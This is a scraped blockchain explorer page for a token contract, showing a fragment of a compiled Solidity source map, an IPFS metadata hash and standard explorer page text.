:9;2548:23;2580:31;2605:5;2580:31;:::i;:::-;2630:5;-1:-1:-1;2687:2:1;2672:18;;2659:32;2700:33;2659:32;2700:33;:::i;:::-;2752:7;2742:17;;;2377:388;;;;;:::o;2770:356::-;2972:2;2954:21;;;2991:18;;;2984:30;3050:34;3045:2;3030:18;;3023:62;3117:2;3102:18;;2770:356::o;3131:127::-;3192:10;3187:3;3183:20;3180:1;3173:31;3223:4;3220:1;3213:15;3247:4;3244:1;3237:15;3263:416;3352:1;3389:5;3352:1;3403:270;3424:7;3414:8;3411:21;3403:270;;;3483:4;3479:1;3475:6;3471:17;3465:4;3462:27;3459:53;;;3492:18;;:::i;:::-;3542:7;3532:8;3528:22;3525:55;;;3562:16;;;;3525:55;3641:22;;;;3601:15;;;;3403:270;;;3407:3;3263:416;;;;;:::o;3684:806::-;3733:5;3763:8;3753:80;;-1:-1:-1;3804:1:1;3818:5;;3753:80;3852:4;3842:76;;-1:-1:-1;3889:1:1;3903:5;;3842:76;3934:4;3952:1;3947:59;;;;4020:1;4015:130;;;;3927:218;;3947:59;3977:1;3968:10;;3991:5;;;4015:130;4052:3;4042:8;4039:17;4036:43;;;4059:18;;:::i;:::-;-1:-1:-1;;4115:1:1;4101:16;;4130:5;;3927:218;;4229:2;4219:8;4216:16;4210:3;4204:4;4201:13;4197:36;4191:2;4181:8;4178:16;4173:2;4167:4;4164:12;4160:35;4157:77;4154:159;;;-1:-1:-1;4266:19:1;;;4298:5;;4154:159;4345:34;4370:8;4364:4;4345:34;:::i;:::-;4415:6;4411:1;4407:6;4403:19;4394:7;4391:32;4388:58;;;4426:18;;:::i;:::-;4464:20;;3684:806;-1:-1:-1;;;3684:806:1:o;4495:140::-;4553:5;4582:47;4623:4;4613:8;4609:19;4603:4;4582:47;:::i;4640:168::-;4713:9;;;4744;;4761:15;;;4755:22;;4741:37;4731:71;;4782:18;;:::i;4813:251::-;4883:6;4936:2;4924:9;4915:7;4911:23;4907:32;4904:52;;;4952:1;4949;4942:12;4904:52;4984:9;4978:16;5003:31;5028:5;5003:31;:::i;6342:306::-;6430:6;6438;6446;6499:2;6487:9;6478:7;6474:23;6470:32;6467:52;;;6515:1;6512;6505:12;6467:52;6544:9;6538:16;6528:26;;6594:2;6583:9;6579:18;6573:25;6563:35;;6638:2;6627:9;6623:18;6617:25;6607:35;;6342:306;;;;;:::o;6932:277::-;6999:6;7052:2;7040:9;7031:7;7027:23;7023:32;7020:52;;;7068:1;7065;7058:12;7020:52;7100:9;7094:16;7153:5;7146:13;7139:21;7132:5;7129:32;7119:60;;7175:1;7172;7165:12;9242:128;9309:9;;;9330:11;;;9327:37;;;9344:18;;:::i;9375:125::-;9440:9;;;9461:10;;;9458:36;;;9474:18;;:::i;10696:135::-;10735:3;10756:17;;;10753:43;;10776:18;;:::i;:::-;-1:-1:-1;10823:1:1;10812:13;;10696:135::o;10968:127::-;11029:10;11024:3;11020:20;11017:1;11010:31;11060:4;11057:1;11050:15;11084:4;11081:1;11074:15;11100:980;11362:4;11410:3;11399:9;11395:19;11441:6;11430:9;11423:25;11467:2;11505:6;11500:2;11489:9;11485:18;11478:34;11548:3;11543:2;11532:9;11528:18;11521:31;11572:6;11607;11601:13;11638:6;11630;11623:22;11676:3;11665:9;11661:19;11654:26;;11715:2;11707:6;11703:15;11689:29;;11736:1;11746:195;11760:6;11757:1;11754:13;11746:195;;;11825:13;;-1:-1:-1;;;;;11821:39:1;11809:52;;11916:15;;;;11881:12;;;;11857:1;11775:9;11746:195;;;-1:-1:-1;;;;;;;11997:32:1;;;;11992:2;11977:18;;11970:60;-1:-1:-1;;;12061:3:1;12046:19;12039:35;11958:3;11100:980;-1:-1:-1;;;11100:980:1:o;12085:217::-;12125:1;12151;12141:132;;12195:10;12190:3;12186:20;12183:1;12176:31;12230:4;12227:1;12220:15;12258:4;12255:1;12248:15;12141:132;-1:-1:-1;12287:9:1;;12085:217::o
Swarm Source
ipfs://57e5fe8558e0596ddc273274fa9d66715664291427bd4a578bfdb50807cb9488
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.